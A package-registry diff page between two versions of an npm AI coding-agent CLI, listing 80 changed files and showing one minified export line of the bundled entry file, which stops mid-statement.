@kodax-ai/kodax 0.7.63 → 0.7.66

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (80) hide show
  1. package/CHANGELOG.md +2300 -2204
  2. package/README.md +79 -7
  3. package/README_CN.md +52 -3
  4. package/dist/chunks/{agent-SL444XLN.js → agent-KER4WDNO.js} +1 -1
  5. package/dist/chunks/argument-completer-HK3MHA3K.js +2 -0
  6. package/dist/chunks/{chunk-ARUWXX25.js → chunk-35P7QL2Q.js} +1 -1
  7. package/dist/chunks/chunk-3HKBBY74.js +339 -0
  8. package/dist/chunks/chunk-AKBH2EEE.js +8 -0
  9. package/dist/chunks/{chunk-KCFVGXVK.js → chunk-ALS32RNZ.js} +1 -1
  10. package/dist/chunks/chunk-MHRN2LQV.js +328 -0
  11. package/dist/chunks/{chunk-HP4FXMEM.js → chunk-NBQW7PNZ.js} +2 -2
  12. package/dist/chunks/{chunk-S4GVQO3W.js → chunk-O7N22GJ3.js} +1 -1
  13. package/dist/chunks/chunk-ONUPGMER.js +2 -0
  14. package/dist/chunks/{chunk-ZL5CEANW.js → chunk-PZTG2C33.js} +1 -1
  15. package/dist/chunks/{chunk-4MIHVNB7.js → chunk-QAQ2HNXD.js} +112 -112
  16. package/dist/chunks/{chunk-6OZ5KWG3.js → chunk-QJJKMNZF.js} +1 -1
  17. package/dist/chunks/chunk-QJVZZSEO.js +56 -0
  18. package/dist/chunks/chunk-TLJGOKBT.js +729 -0
  19. package/dist/chunks/{chunk-7MPU7TP6.js → chunk-VS4CDDEF.js} +243 -243
  20. package/dist/chunks/chunk-WBBEJIAY.js +306 -0
  21. package/dist/chunks/{chunk-L3MF5V64.js → chunk-WMIZCY2J.js} +1 -1
  22. package/dist/chunks/{chunk-UA744TZM.js → chunk-YRBNXFHY.js} +1 -1
  23. package/dist/chunks/compaction-config-7GMUFNPB.js +2 -0
  24. package/dist/chunks/{construction-bootstrap-EFZBONTK.js → construction-bootstrap-3XDS2D5K.js} +1 -1
  25. package/dist/chunks/{devtools-4CRULTR2.js → devtools-CD6KSIHE.js} +1 -1
  26. package/dist/chunks/{devtools-YINBSZC7.js → devtools-XR5F2C6T.js} +1 -1
  27. package/dist/chunks/{dist-73L4OYPD.js → dist-4PXB7U22.js} +1 -1
  28. package/dist/chunks/dist-4YAYT2TO.js +2 -0
  29. package/dist/chunks/host-KG3456QP.js +2 -0
  30. package/dist/chunks/{paste-FDYM7SZX.js → paste-C33GZQV5.js} +1 -1
  31. package/dist/chunks/run-manager-6CAH3KTA.js +2 -0
  32. package/dist/chunks/utils-OT5ENFUL.js +2 -0
  33. package/dist/constructed-handler-worker.js +2 -0
  34. package/dist/index.d.ts +21 -10
  35. package/dist/index.js +6 -6
  36. package/dist/kodax_cli.js +1116 -1089
  37. package/dist/runtime-worker.js +2843 -0
  38. package/dist/sdk-agent.d.ts +27 -8
  39. package/dist/sdk-agent.js +1 -1
  40. package/dist/sdk-coding.d.ts +76 -1020
  41. package/dist/sdk-coding.js +1 -1
  42. package/dist/sdk-llm.js +1 -1
  43. package/dist/sdk-mcp.d.ts +2 -1
  44. package/dist/sdk-mcp.js +1 -1
  45. package/dist/sdk-media.js +1 -1
  46. package/dist/sdk-repl.d.ts +197 -183
  47. package/dist/sdk-repl.js +2 -2
  48. package/dist/sdk-runtime.d.ts +982 -0
  49. package/dist/sdk-runtime.js +2 -0
  50. package/dist/sdk-session.d.ts +3 -3
  51. package/dist/sdk-session.js +1 -1
  52. package/dist/sdk-skills.js +1 -1
  53. package/dist/semantic-worker.js +191 -10
  54. package/dist/types-chunks/{bash-prefix-extractor.d-CZW9fRoa.d.ts → bash-prefix-extractor.d-BjkITAva.d.ts} +142 -3
  55. package/dist/types-chunks/{run-manager.d-CYTnWhZY.d.ts → capsule.d-hVhPNkHd.d.ts} +5 -92
  56. package/dist/types-chunks/commands.d-C3B1TdGM.d.ts +213 -0
  57. package/dist/types-chunks/{types.d-1CnTg7Sd.d.ts → guardrail.d-C_Siraua.d.ts} +3 -128
  58. package/dist/types-chunks/{guardrail.d-MR6LwMB2.d.ts → guardrail.d-wk-s0psS.d.ts} +2 -2
  59. package/dist/types-chunks/{manager.d-DBD7SOTT.d.ts → manager.d-Zum9cGHU.d.ts} +3 -173
  60. package/dist/types-chunks/oauth-login.d-Bgb4rdLN.d.ts +174 -0
  61. package/dist/types-chunks/public-api.d-jtREVfEq.d.ts +596 -0
  62. package/dist/types-chunks/run-manager.d-CFknOfo1.d.ts +91 -0
  63. package/dist/types-chunks/{sdk-session-RBSBBKol.d.ts → sdk-session-CLqyfAmf.d.ts} +8 -306
  64. package/dist/types-chunks/types.d-BMLxKV69.d.ts +128 -0
  65. package/dist/types-chunks/types.d-CUN_bZU7.d.ts +975 -0
  66. package/dist/types-chunks/{utils.d-C14jZ9ZM.d.ts → utils.d-C1rpoeDh.d.ts} +84 -72
  67. package/package.json +7 -1
  68. package/dist/chunks/argument-completer-EN63ZVJK.js +0 -2
  69. package/dist/chunks/chunk-KHICMJIR.js +0 -310
  70. package/dist/chunks/chunk-LGR7ACBQ.js +0 -326
  71. package/dist/chunks/chunk-RR7W7UF6.js +0 -341
  72. package/dist/chunks/chunk-UGTK2JIJ.js +0 -731
  73. package/dist/chunks/chunk-V4WSBIXB.js +0 -2
  74. package/dist/chunks/chunk-VSWROENP.js +0 -52
  75. package/dist/chunks/compaction-config-4VIONMFB.js +0 -2
  76. package/dist/chunks/dist-EDF2YUF6.js +0 -2
  77. package/dist/chunks/host-J4HPDLFC.js +0 -2
  78. package/dist/chunks/run-manager-ZVSW2OWM.js +0 -2
  79. package/dist/chunks/utils-5HDLYTZJ.js +0 -2
  80. package/dist/types-chunks/storage.d-C6kkAEch.d.ts +0 -280
@@ -1,2 +1,2 @@
1
1
  // @kodax-ai/kodax — bundled distribution. See docs/ADR.md ADR-022 + ADR-024.
2
- import{$ as cx,A as Lt,Aa as Lx,B as Mt,Ba as Mx,C as Nt,Ca as Nx,D as Ot,Da as Ox,E as Pt,Ea as Px,F as Qt,Fa as Qx,G as Rt,Ga as Rx,H as St,Ha as Sx,I as Tt,Ia as Tx,J as Ut,K as Vt,L as Wt,M as Xt,N as Yt,O as Zt,P as _t,Q as $t,R as ox,S as rx,T as ex,U as fx,V as mx,W as px,X as tx,Y as xx,Z as ax,_ as bx,a as $,aa as dx,b as oo,ba as gx,c as ro,ca as hx,d as it,da as ix,e as jt,ea as jx,f as kt,fa as kx,g as lt,ga as lx,h as nt,ha as nx,i as qt,ia as qx,j as st,ja as sx,k as ut,ka as ux,l as vt,la as vx,m as wt,ma as wx,n as yt,na as yx,o as zt,oa as zx,p as At,pa as Ax,q as Bt,qa as Bx,r as Ct,ra as Cx,s as Dt,sa as Dx,t as Et,ta as Ex,u as Ft,ua as Fx,v as Gt,va as Gx,w as Ht,wa as Hx,x as It,xa as Ix,y as Jt,ya as Jx,z as Kt,za as Kx}from"./chunks/chunk-4MIHVNB7.js";import{a as Of,b as Pf,c as Qf,d as Rf,e as Sf,f as Tf,g as Uf,h as Vf,i as Wf,j as um}from"./chunks/chunk-KCFVGXVK.js";import{a as Xf,b as Yf,c as Zf,d as _f,e as $f,f as om,g as rm,h as em,i as fm,j as mm,k as pm,l as tm,m as xm,n as am,o as bm,p as cm,q as dm,r as gm,s as hm,t as im,u as jm,v as km,w as lm,x as nm,y as qm,z as sm}from"./chunks/chunk-HP4FXMEM.js";import{A as Bf,E as Cf,F as Df,G as Ef,H as Ff,K as Gf,M as vm,N as wm,O as ym,P as zm,Q as Am,R as Bm,S as Cm,T as Dm,V as Em,W as Fm,X as Gm,a as zo,b as Ao,e as df,ea as Hp,f as gf,fa as Ip,g as hf,h as jf,i as kf,j as lf,k as nf,ma as Jp,na as Kp,p as qf,q as sf,ra as Lp,t as uf,u as vf,w as wf,x as yf,y as zf,z as Af}from"./chunks/chunk-LGR7ACBQ.js";import"./chunks/chunk-D6QVXQNI.js";import{a as Nf}from"./chunks/chunk-UA744TZM.js";import{$b as ep,A as fe,Aa as $e,Ac as Dp,B as me,Ba as of,Bc as Ep,C as pe,Ca as rf,Cc as Fp,D as te,Dc as Gp,E as xe,Eb as Hm,F as ae,Fb as Im,G as be,Ga as ef,Gb as Jm,H as ce,Ha as ff,Hb as Km,I as de,Ia as mf,Ib as Lm,J as ge,Ja as pf,Jb as Mm,Ka as tf,Kb as Nm,L as he,La as xf,Lb as Om,M as ie,Ma as af,Mb as Pm,N as je,Nb as Qm,O as ke,Oa as bf,Ob as Rm,Oc as Mp,P as le,Pa as cf,Pb as Sm,Pc as Np,Q as ne,Qb as Tm,Qc as Op,R as qe,Rb as Um,Rc as Pp,S as se,Sb as Vm,Sc as Qp,T as ue,Tb as Wm,Tc as Rp,U as ve,Ub as Xm,Uc as Sp,V as we,Vb as Ym,Vc as Tp,W as ye,Wb as Zm,Wc as Up,X as ze,Xb as _m,Xc as Vp,Y as Ae,Yb as $m,Yc as Wp,Z as Be,Zb as op,_ as Ce,_b as rp,ac as fp,ba as De,bc as mp,ca as Ee,cc as pp,cd as Xp,d as Mr,da as Fe,dc as tp,dd as Yp,e as Nr,ea as Ge,ec as xp,ed as Zp,fa as He,fc as ap,fd as _p,ga as Ie,gc as bp,gd as $p,ha as Je,hc as cp,hd as ot,i as Or,ic as dp,id as rt,j as Pr,ja as Ke,jc as gp,jd as et,k as Qr,ka as Le,kc as hp,kd as ft,l as Rr,la as Me,lc as ip,ld as mt,m as Sr,ma as Ne,mc as jp,md as pt,n as Tr,na as Oe,nc as kp,nd as tt,o as Ur,oa as Pe,oc as lp,od as xt,p as Vr,pa as Qe,pc as np,pd as at,q as Wr,qa as Re,qc as qp,qd as bt,r as Xr,ra as Se,rc as sp,rd as ct,s as Yr,sa as Te,sc as up,sd as dt,t as Zr,ta as Ue,tc as vp,td as gt,u as _r,ua as Ve,ub as Hf,uc as wp,v as $r,va as We,vb as If,vc as yp,w as oe,wa as Xe,wb as Jf,wc as zp,x as re,xa as Ye,xb as Kf,xc as Ap,xd as ht,y as ee,ya as Ze,yb as Lf,yc as Bp,za as _e,zb as Mf,zc as Cp}from"./chunks/chunk-RR7W7UF6.js";import{$ as i,A as a,Aa as L,B as b,Ba as M,C as c,Ca as N,D as d,Da as O,E as g,Ea as P,Fa as Q,Ga as R,Ha as S,Ia as T,Ja as U,Ka as V,La as W,Ma as X,Na as Y,Oa as Z,R as h,Ra as _,a as o,aa as j,b as r,c as e,fa as k,ga as l,ha as n,ia as q,j as f,ja as s,k as m,ka as u,la as v,ma as w,na as y,oa as z,pa as A,qa as B,ra as C,s as p,sa as D,t,ta as E,ua as F,va as G,wa as H,xa as I,ya as J,z as x,za as K}from"./chunks/chunk-S4GVQO3W.js";import{Fc as Yo,Fd as Kr,Gc as Zo,Gd as Lr,Hc as _o,Ic as $o,Jc as or,Kc as rr,Lc as er,Mc as fr,Nc as mr,Oc as pr,Pc as tr,Qc as xr,Rc as ar,Sc as br,Tc as cr,Uc as dr,Vc as gr,Wc as hr,Xc as ir,Yc as jr,Zc as kr,_c as lr,a as Bo,ad as nr,b as Co,bd as qr,c as Do,cd as sr,d as Eo,dd as ur,e as Fo,ed as vr,f as Go,h as Ho,i as Io,j as Jo,k as Ko,ka as Qo,l as Lo,ld as wr,m as Mo,md as yr,n as No,na as Ro,nd as zr,o as Oo,ob as Wo,od as Ar,p as Po,pb as Xo,pd as Br,qd as Cr,rd as Dr,td as Er,ua as So,ud as Fr,va as To,vd as Gr,wa as Uo,wd as Hr,xa as Vo,xd as Ir,yd as Jr}from"./chunks/chunk-UGTK2JIJ.js";import{H as yo,a as eo,b as fo,c as mo,d as po,e as to,f as xo,g as ao,h as bo,i as co,j as go,k as ho,l as io,m as jo,n as ko,o as lo,p as no,v as qo,w as so,x as uo,y as vo,z as wo}from"./chunks/chunk-ZL5CEANW.js";import"./chunks/chunk-V4WSBIXB.js";export{cx as AUTO_MODE_DENIAL_CONSECUTIVE_THRESHOLD,dx as AUTO_MODE_DENIAL_CUMULATIVE_THRESHOLD,Fx as BASH_POLICY_SPEC,Bt as BLOCKER_REQUIRED_CONSECUTIVE_TURNS,kx as BREAKER_ERROR_THRESHOLD,lx as BREAKER_WINDOW_MS,Zf as BUILTIN_WORKFLOWS,Nr as CANCELLED_TOOL_RESULT_MESSAGE,Mr as CANCELLED_TOOL_RESULT_PREFIX,ox as CODING_AGENT_MARKER,st as CODING_INVARIANTS,Hp as CODING_SUMMARY_PROMPT,Ip as CODING_UPDATE_SUMMARY_PROMPT,Tm as CapabilityDeniedError,vt as Client,Cp as CombinedExtensionRuntime,Um as ConstructionManifestError,Jp as DEFAULT_CODING_AGENT_NAME,Rt as DEFAULT_DANGEROUS_PATTERNS,Rm as DEFAULT_HANDLER_TIMEOUT_MS,df as DEFAULT_RESILIENCE_CONFIG,Qt as DEFAULT_SAFE_PATTERNS,ep as DEFAULT_SELF_MODIFY_BUDGET,Bx as DEFAULT_SPECULATIVE_WINDOW_MS,Pr as DEFAULT_TOOL_OUTPUT_MAX_BYTES,Or as DEFAULT_TOOL_OUTPUT_MAX_LINES,Pf as DEFAULT_WORKFLOW_GENERATION_TIMEOUT_MS,Po as DefaultSummaryCompaction,Zt as EMIT_VERDICT_TOOL_NAME,zo as ErrorCategory,mf as GENERATOR_AGENT_NAME,fo as ImageResizeError,Io as KODAX_API_MIN_INTERVAL,n as KODAX_DEFAULT_PROVIDER,Co as KODAX_DEFAULT_TIMEOUT,uo as KODAX_FILE_MEDIA_TYPES,Do as KODAX_HARD_TIMEOUT,qo as KODAX_IMAGE_MEDIA_TYPES,Go as KODAX_MAX_INCOMPLETE_RETRIES,Eo as KODAX_MAX_RETRIES,Bo as KODAX_MAX_TOKENS,l as KODAX_PROVIDERS,k as KODAX_PROVIDER_SNAPSHOTS,p as KODAX_REASONING_MODE_SEQUENCE,Fo as KODAX_RETRY_BASE_DELAY,t as KODAX_STABLE_EFFORT_INTENTS,Ho as KODAX_STAGGER_DELAY,Xp as KODAX_TOOLS,_r as KODAX_UNDERLYING_CAPABILITY_TOPICS,so as KODAX_VIDEO_MEDIA_TYPES,i as KodaXAnthropicCompatProvider,h as KodaXBaseProvider,vt as KodaXClient,o as KodaXError,Bp as KodaXExtensionRuntime,eo as KodaXMediaError,j as KodaXOpenAICompatProvider,r as KodaXProviderError,e as KodaXRateLimitError,oo as KodaXSessionError,ro as KodaXTerminalError,$ as KodaXToolError,nr as LINEAGE_ENTRY_TYPES,Jf as LSP_SERVERS,sr as LineageCompaction,qr as LineageExtension,Kf as LspService,$r as MANUAL_REGISTRY,Zr as MANUAL_TOPIC_IDS,bo as MAX_DIMENSION,fr as McpAuthRequiredError,jr as McpCapabilityProvider,er as McpExpiredSessionError,kr as McpManager,ir as McpServerRuntime,jo as PASTE_TMP_DIR_ENV,ko as PASTE_TMP_TTL_MS,ff as PLANNER_AGENT_NAME,Jo as PROMISE_PATTERN,wm as PROMPT_SECTION_REGISTRY,$t as PROTOCOL_EMITTER_TOOLS,nf as ProviderRecoveryCoordinator,Qr as READ_DEFAULT_LIMIT,Sr as READ_MAX_LINE_CHARS,Rr as READ_PREFLIGHT_SIZE_BYTES,wp as REPO_EXPLORER_AGENT_NAME,yp as REPO_EXPLORER_TOOL_NAMES,Ro as Runner,ef as SCOUT_AGENT_NAME,Rx as SCOUT_THEN_AUTHOR_PROMPT_LINES,Dm as SELF_KNOWLEDGE_ROUTING_RULE,vm as SYSTEM_PROMPT,hm as SYSTEM_WORKFLOW_LIMITS,kf as StableBoundaryTracker,co as TARGET_RAW_SIZE_BYTES,xf as TASK_ENGINE_ROLE_AGENTS,wt as TOOL_RESULT_TRUNCATION_GUARDRAIL_NAME,Ix as TRACING_ENV,pf as WORKER_AGENT_NAME,Of as WORKFLOW_GENERATION_SYSTEM_PROMPT,bp as _resetRuntimeForTesting,gp as activate,le as analyzeChangedScope,op as appendAuditEntry,Cr as appendSessionLineageLabel,Rp as applyAccountingDelta,Dr as applySessionCompaction,Qe as applyToolResultGuardrail,Jr as archiveOldIslands,Tx as authorWorkflowViaWorker,jx as autoModeDenialShouldFallback,yx as bashSignalCollector,Jx as bootstrapTracing,kt as boundedRevise,sx as breakerShouldFallback,lt as budgetCeiling,im as buildApprovalSummary,Up as buildBlockedGoal,Em as buildCapabilityContextSections,rx as buildClassifierPrompt,Vp as buildCompleteGoal,Qp as buildCreatedGoal,Df as buildFallbackRoutingDecision,Ft as buildGoalRuntimeBinding,hr as buildInitializeCapabilities,Zm as buildLlmReviewPrompt,re as buildManualToolDescription,Jt as buildMcpReverseCapabilities,Sp as buildPausedGoal,qf as buildPromptMessageContent,Bm as buildPromptSnapshot,wf as buildProviderCapabilitySnapshot,Ef as buildProviderPolicyHintsForDecision,yf as buildProviderPolicyPromptNotes,ke as buildRepoIntelligenceContext,De as buildRepoIntelligenceIndex,he as buildRepoOverview,Tp as buildResumedGoal,Sx as buildScoutThenAuthorPrompt,Cm as buildSelfKnowledgeRoutingRule,Hr as buildSessionTree,Gm as buildSystemPrompt,Fm as buildSystemPromptSnapshot,Tf as buildWorkflowGenerationSkillContext,Sf as buildWorkflowGenerationUserPrompt,wx as checkAbsoluteDeny,sf as checkIncompleteToolCalls,Gf as checkPromiseSignal,jm as clampWorkflowLimits,fx as classify,Tt as classifyBashCommand,Ao as classifyError,hf as classifyResilienceError,Xo as cleanupIncompleteToolCalls,T as clearRuntimeModelProviders,Ax as collectAllSignals,Dp as combineExtensionRuntimes,Vt as computeInputSignature,mx as computeRulesFingerprint,ap as configureRuntime,Ue as convertCapabilityReadResult,Te as convertProviderSearchResults,Ir as countActiveLineageMessages,Lo as countTokens,Mo as createAgent,gx as createAutoModeDenialTracker,Ex as createAutoModeToolGuardrail,St as createBashClassifierConfig,Hx as createBashPrefixExtractor,ft as createBuiltinToolDefinition,nx as createCircuitBreaker,Xf as createCodingWorkflowBackend,Vm as createCtxProxy,F as createCustomProvider,Kp as createDefaultCodingAgent,Ut as createDenialTracker,Ep as createExtensionRuntime,xo as createFileArtifactFromPath,No as createHandoff,to as createImageArtifactFromPath,Oo as createInMemorySession,Mt as createKodaXTaskRunner,Zo as createMcpCapabilityId,lr as createMcpManager,mr as createMcpTransport,ym as createPromptSection,Ff as createReasoningPlan,gm as createRunGraphWriter,it as createSessionControl,wr as createSessionLineage,yt as createToolResultTruncationGuardrail,ao as createVideoArtifactFromPath,Lx as createWorkflowLifecycleController,Ox as createWorkflowPatternTemplateModule,qm as createWorkflowRunManager,Px as decideWorkflowInvocation,Mm as dedupeExtensionPathsByEntrypoint,Yo as defaultMcpCacheDir,Sm as defaultPolicy,tm as deleteSavedWorkflow,xp as disableSelfModify,ar as discoverAuthorizationServerMetadata,Qm as discoverDefaultExtensions,Pm as discoverExtensionsInDirectory,Om as discoverExtensionsInDirectoryDetailed,vp as discoverMarkdownAgents,br as discoverOAuthEndpoints,xr as discoverProtectedResourceMetadata,om as discoverSavedWorkflows,cf as drainPendingSwaps,b as effortToLegacyReasoningMode,_t as emitVerdict,lm as emitWorkflowAgentDigest,yo as enqueueWithArtifacts,zp as ensureBuiltinRepoExplorerAgent,Ko as estimateTokens,zf as evaluateProviderPolicy,Nm as excludeExtensionPathsByEntrypoint,Hm as exec,ht as executeTool,Kr as extractArtifactLedger,Gx as extractCommandPrefix,vf as extractComparableUserMessageText,Se as extractHtmlTitle,tr as extractInsufficientScope,uf as extractPromptComparableText,pr as extractResourceMetadataUrl,vr as extractTitleFromMessages,zx as fileSignalCollector,We as finalizeRetrievalResult,np as findByVersion,Er as findPreviousUserEntryId,Gr as forkSessionLineage,rf as formatAgentsForPrompt,Ot as formatParallelDispatchResult,Tr as formatSize,ur as generateSessionId,Vf as generateWorkflow,Wf as generateWorkflowFromOptions,Gp as getActiveExtensionRuntime,To as getAgentConfigHome,Uo as getAgentConfigPath,pt as getAllRegisteredTools,Vo as getAppDataDir,W as getAvailableProviderNames,et as getBuiltinRegisteredToolDefinition,rt as getBuiltinToolDefinition,_f as getBuiltinWorkflow,N as getCustomModelCapabilities,H as getCustomProvider,K as getCustomProviderList,M as getCustomProviderModelDescriptors,L as getCustomProviderModels,J as getCustomProviderNames,Km as getDefaultExtensionDirectory,Lf as getDefaultLspService,sm as getDefaultWorkflowRunManager,Yt as getDenialContext,Ie as getImpactEstimate,$e as getKodaxGlobalDir,rr as getMcpCachePaths,C as getModelCapabilities,vo as getModelInputCapabilities,Fe as getModuleContext,He as getProcessContext,q as getProvider,w as getProviderConfiguredCapabilityProfile,v as getProviderConfiguredReasoningCapability,y as getProviderList,u as getProviderModel,B as getProviderModelDescriptors,z as getProviderModels,$p as getRegisteredToolDefinition,Ee as getRepoIntelligenceIndex,ie as getRepoOverview,Je as getRepoRoutingSignals,ct as getRequiredToolParams,Q as getRuntimeModelProvider,S as getRuntimeModelProviderNames,yr as getSessionLineagePath,zr as getSessionMessagesFromLineage,Ge as getSymbolContext,Zp as getTool,_p as getToolDefinition,ot as getToolRegistrations,Pe as getToolResultPolicy,Nx as getWorkflowPatternTemplate,Np as goalTokenDelta,bf as hasPendingSwap,mo as inferImageMediaType,Cf as inferTaskType,po as inferVideoMediaType,te as inspectEditFailure,Ce as inspectRepoIntelligenceRuntime,I as isCustomProviderName,Xt as isDeniedRecently,V as isKnownProvider,Nt as isParallelDispatchDirective,s as isProviderConfigured,A as isProviderName,R as isRuntimeModelProviderName,jf as isSessionRecoveryCandidateError,Jm as isSupportedExtensionModulePath,xt as isToolFileMutation,bt as isToolMutation,at as isToolNetworkRead,tt as isToolPlanModeAllowed,Wp as isValidTokenBudget,Hf as languageIdForPath,qp as listAll,Z as listAllModelCapabilities,jp as listArtifacts,D as listBuiltinModelCapabilities,mt as listBuiltinToolDefinitions,$f as listBuiltinWorkflows,lp as listConstructed,O as listCustomProviderModelCapabilities,gt as listToolDefinitions,dt as listTools,Mx as listWorkflowPatternTemplates,of as loadAgentsFiles,sp as loadAgentsFromMarkdown,ax as loadAutoRules,am as loadGeneratedWorkflowFromRun,Wm as loadHandler,up as loadMarkdownAgentScope,fm as loadSavedWorkflow,em as loadSavedWorkflowCapsule,gr as loadValidToken,Mp as makeDisabledGoalToolsContext,a as mapLegacyReasoningModeToEffortIntent,It as mcpRootsFromWorkspace,Lr as mergeArtifactLedger,_o as normalizeMcpCapabilityId,go as normalizePastedImage,x as normalizeReasoningEffortValue,rm as normalizeWorkflowModule,zm as orderPromptSections,Yf as parallelInvestigation,xx as parseAutoRules,ex as parseClassifierOutput,pe as parseEditToolError,_m as parseLlmReviewVerdict,$o as parseMcpCapabilityId,ux as parseModelSpec,c as parseReasoningEffortEnv,m as parseTimeoutSecEnvMs,Uf as parseWorkflowGeneration,dr as performOAuthLogin,lo as persistImageAsBlock,Xr as persistToolOutput,cm as preflightWorkflowCapsule,Ke as prewarmRepoIntelligenceCaches,Nf as providerResilienceConfigFromTimeouts,no as prunePasteTmpDir,io as readAndNormalizeClipboardImage,kp as readArtifact,rp as readAuditEntries,fp as readBudget,ho as readClipboardImage,tp as readDisableState,Cx as readSpeculativeWindowFromEnv,px as readTrustState,Bf as reasoningModeToDepth,lf as reconstructMessagesWithToolGuard,ix as recordAutoModeAllow,hx as recordAutoModeBlock,zt as recordBlockerAttempt,qx as recordBreakerError,Wt as recordDenial,ut as registerCodingInvariants,Ht as registerConfiguredMcpCapabilityProvider,G as registerCustomProviders,P as registerModelProvider,cr as registerOAuthClient,Kt as registerOfficialSandboxExtension,Qo as registerPresetDispatcher,Yp as registerTool,hp as rehydrateActiveArtifacts,mp as remainingSelfModifyBudget,pm as renameSavedWorkflow,ne as renderChangedScope,ze as renderImpactEstimate,ve as renderModuleContext,ye as renderProcessContext,Am as renderPromptSections,je as renderRepoOverview,Ve as renderRetrievalResult,we as renderSymbolContext,xm as replaceSavedWorkflow,If as reportLspDiagnostics,At as resetBlockerCounter,pp as resetBudget,vx as resolveClassifierModel,af as resolveConstructedAgent,Lm as resolveExtensionEntrypoint,oe as resolveKodaXManual,Y as resolveModelCapabilities,U as resolveProvider,X as resolveProviderModelDescriptors,d as resolveReasoningEffort,g as resolveReasoningEffortForModelSwitch,Af as resolveReasoningMode,Be as resolveRepoIntelligenceMode,Ae as resolveRepoIntelligenceRuntimeConfig,gf as resolveResilienceConfig,Ar as resolveSessionLineageTarget,nt as resolveToolCapability,_ as resolveWireEffort,Qf as resolveWorkflowGenerationTimeoutMs,Kx as resolveWorkflowIdentity,ip as revoke,Fr as rewindSessionLineage,Ap as rollbackSelfModify,Xm as runAstRules,Lp as runKodaX,$m as runLlmReview,Gt as runManagedTask,Lt as runOrchestration,nm as runWorkflowFromOptions,km as runWorkflowModule,dm as safeWorkflowArtifactName,mm as saveGeneratedWorkflow,bm as saveGeneratedWorkflowFromRun,or as searchMcpCatalog,Fp as setActiveExtensionRuntime,So as setAgentConfigHome,Br as setSessionLineageActiveEntry,Pp as shouldFlipBudgetLimited,Mf as shutdownDefaultLspService,Dx as speculativeRace,cp as stage,jt as startKodaX,um as startManagedWorkflow,bx as stripAssistantText,Re as stripHtmlToText,dp as testArtifact,f as timeoutSecToMs,ge as toolAskUserQuestion,ae as toolBash,ue as toolChangedDiff,se as toolChangedScope,Ze as toolCodeSearch,me as toolEdit,be as toolGlob,ce as toolGrep,Oe as toolImpactEstimate,xe as toolInsertAfterAnchor,Le as toolModuleContext,qt as toolPermission,Ne as toolProcessContext,Yr as toolRead,qe as toolRepoOverview,_e as toolSemanticLookup,Me as toolSymbolContext,de as toolUndo,Ye as toolWebFetch,Xe as toolWebSearch,fe as toolWrite,Ur as truncateHead,Wr as truncateLine,Vr as truncateTail,tx as trustProjectRules,Op as turnWallTimeDelta,Wo as validateAndFixToolHistory,E as validateCustomProviderConfig,Rf as validateGeneratedWorkflowSource,wo as validateInputArtifactsForModel,Pt as validateSubtaskIndependence,Ym as validateToolSchemaForProvider,Et as verifyGoalCompletion,Im as webhook,Ct as withGoalBeforeNextTurn,Dt as withGoalStopHook,ee as withManualToolBranding,tf as workerAgent,Qx as workflowStartOutcomeConsumesTurn};
2
+ import{$ as yx,A as Zt,Aa as Zx,B as _t,Ba as _x,C as $t,Ca as $x,D as ox,Da as oa,E as rx,Ea as ra,F as ex,Fa as ea,G as fx,Ga as fa,H as mx,Ha as ma,I as px,Ia as pa,J as tx,K as xx,L as ax,M as bx,N as cx,O as dx,P as gx,Q as hx,R as ix,S as jx,T as kx,U as lx,V as nx,W as qx,X as sx,Y as ux,Z as vx,_ as wx,a as $,aa as zx,b as oo,ba as Ax,c as ro,ca as Bx,d as Ct,da as Cx,e as Dt,ea as Dx,f as Et,fa as Ex,g as Ft,ga as Fx,h as Gt,ha as Gx,i as Ht,ia as Hx,j as It,ja as Ix,k as Jt,ka as Jx,l as Kt,la as Kx,m as Lt,ma as Lx,n as Mt,na as Mx,o as Nt,oa as Nx,p as Ot,pa as Ox,q as Pt,qa as Px,r as Qt,ra as Qx,s as Rt,sa as Rx,t as St,ta as Sx,u as Tt,ua as Tx,v as Ut,va as Ux,w as Vt,wa as Vx,x as Wt,xa as Wx,y as Xt,ya as Xx,z as Yt,za as Yx}from"./chunks/chunk-QAQ2HNXD.js";import{a as Rf,b as Sf,c as Tf,d as Uf,e as Vf,f as Wf,g as Xf,h as Yf,i as Zf,j as ym}from"./chunks/chunk-ALS32RNZ.js";import{a as _f,b as $f,c as om,d as rm,e as em,f as fm,g as mm,h as pm,i as tm,j as xm,k as am,l as bm,m as cm,n as dm,o as gm,p as hm,q as im,r as jm,s as km,t as lm,u as nm,v as qm,w as sm,x as um,y as vm,z as wm}from"./chunks/chunk-NBQW7PNZ.js";import{A as Ef,E as Ff,F as Gf,G as Hf,H as If,K as Jf,M as zm,N as Am,O as Bm,P as Cm,Q as Dm,R as Em,S as Fm,T as Gm,V as Hm,W as Im,X as Jm,a as zo,b as Ao,e as jf,ea as Kp,f as kf,fa as Lp,g as lf,ga as Mp,h as nf,ha as Np,i as qf,ia as Op,j as sf,ja as Pp,k as uf,ka as Qp,la as Rp,ma as Sp,na as Tp,p as vf,q as wf,t as yf,u as zf,ua as Up,va as Vp,w as Af,x as Bf,y as Cf,z as Df,za as Wp}from"./chunks/chunk-MHRN2LQV.js";import"./chunks/chunk-D6QVXQNI.js";import{a as Qf}from"./chunks/chunk-YRBNXFHY.js";import{$b as ep,$c as pt,A as fe,Aa as $e,Ab as Nf,Ac as Dp,Ad as zt,B as me,Ba as of,Bb as Of,Bc as Ep,Bd as At,C as pe,Ca as rf,Cb as Pf,Cc as Fp,D as te,Da as ef,Dc as Gp,E as xe,Ea as ff,Ec as Hp,F as ae,Fa as mf,Fc as Ip,Fd as Bt,G as be,Gc as Jp,H as ce,Hb as Km,I as de,Ib as Lm,J as ge,Ja as pf,Jb as Mm,Ka as tf,Kb as Nm,L as he,La as xf,Lb as Om,M as ie,Ma as af,Mb as Pm,N as je,Na as bf,Nb as Qm,O as ke,Oa as cf,Ob as Rm,P as le,Pa as df,Pb as Sm,Q as ne,Qb as Tm,R as qe,Ra as gf,Rb as Um,Rc as Xp,S as se,Sa as hf,Sb as Vm,Sc as Yp,T as ue,Tb as Wm,Tc as Zp,U as ve,Ub as Xm,Uc as _p,V as we,Vb as Ym,Vc as $p,W as ye,Wb as Zm,Wc as ot,X as ze,Xb as _m,Xc as rt,Y as Ae,Yb as $m,Yc as et,Z as Be,Zb as op,Zc as ft,_ as Ce,_b as rp,_c as mt,ac as fp,ba as De,bc as mp,ca as Ee,cc as pp,cd as tt,d as Mr,da as Fe,dc as tp,dd as xt,e as Nr,ea as Ge,ec as xp,ed as at,fa as He,fc as ap,ga as Ie,gc as bp,ha as Je,hc as 